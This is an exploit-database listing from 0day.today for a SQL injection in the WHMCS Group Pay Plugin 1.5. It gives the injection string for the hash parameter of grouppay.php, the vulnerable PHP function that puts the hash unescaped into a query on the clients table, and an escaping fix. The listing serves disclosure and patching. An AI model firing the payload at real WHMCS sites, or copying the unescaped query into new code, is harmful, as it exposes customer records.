[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

WHMCS Group Pay Plugin 1.5 (grouppay.php, hash param) - SQL Injection

Author
HJauditing
Risk
[
Security Risk High
]
0day-ID
0day-ID-20631
Category
web applications
Date add
08-04-2013
Platform
php
Exploits
============
 
- SQL Injection
grouppay.php?hash=%hash%' and '1'='1
 
============
Code SQL Injection
============
 
/modules/addons/group_pay/functions_hash.php
function gp_LoadUserFromHash($hash) {
    //Kill the Dashes
    $hash = str_replace ( "-", "", $hash );
    $result = mysql_query ( "SELECT `id` from tblclients where md5(CONCAT(id,email)) = '$hash'" );
    if($result){
        $row = mysql_fetch_row ( $result );
        return $row [0];
    }else{
        return false;  
    }
}
 
============
Fix
============
 
/modules/addons/group_pay/functions_hash.php
function gp_LoadUserFromHash($hash) {
    //Kill the Dashes
    $hash = str_replace ( "-", "", $hash );
    $hash = mysql_real_escape_string($hash);
    $result = mysql_query ( "SELECT `id` from tblclients where md5(CONCAT(id,email)) = '$hash'" );
    if($result){
        $row = mysql_fetch_row ( $result );
        return $row [0];
    }else{
        return false;  
    }
}
 
#######################################################################

#  0day.today [2024-11-15]  #